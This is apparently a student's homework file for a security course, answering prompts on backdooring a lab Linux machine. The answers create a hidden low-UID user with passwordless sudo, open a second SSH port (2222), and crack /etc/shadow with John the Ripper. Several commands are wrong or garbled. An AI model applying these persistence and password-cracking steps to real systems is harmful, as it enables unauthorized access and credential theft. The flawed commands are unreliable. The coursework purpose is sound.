**## Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

**1.**Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

**-**adduser sysd

**2.**Give your secret user a password:

**-**adduser sysd

passw0rd

**3.**Give your secret user a system UID < 1000:

**-**usermod – u 666 sysd Really :) Must be a dark theme user :)

**4.**Give your secret user the same GID:

**-**groupadd -g 666 mygroup

usermod -g 666 sysd

**5.**Give your secret user full `sudo` access without the need for a password:

**-** visudo

sysd ALL=(ALL) NOPASSWD:ALL

**6.**Test that `sudo` access works without your password:

Sudo -l

\*\*Step 2: Smooth Sailing\*\*

**1.**Edit the `sshd\_config` file:

     As root user nano sshd\_config and uncomment port options and add port 2222

Port 22

Port 2222

\*\*Step 3: Testing Your Configuration Update\*\*

**1.**Restart the SSH service:

**-**service sshd restart

**2.**Exit the `root` account:

**-**exit exit

**3.**SSH to the target machine using your `sysd` account and port `2222`:

**-**ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222

**4.**Use `sudo` to switch to the root user:

**-**sudo -s

\*\*Step 4: Crack All the Passwords\*\*

**1.**SSH back to the system using your `sysd` account and port `2222`:

**-**ssh [sysd@192.168.6.105](mailto:sysd@192.168.6.105) -p 2222

Sudo -s

From root directory

John ../etc/shadow

John –-show ../etc/shadow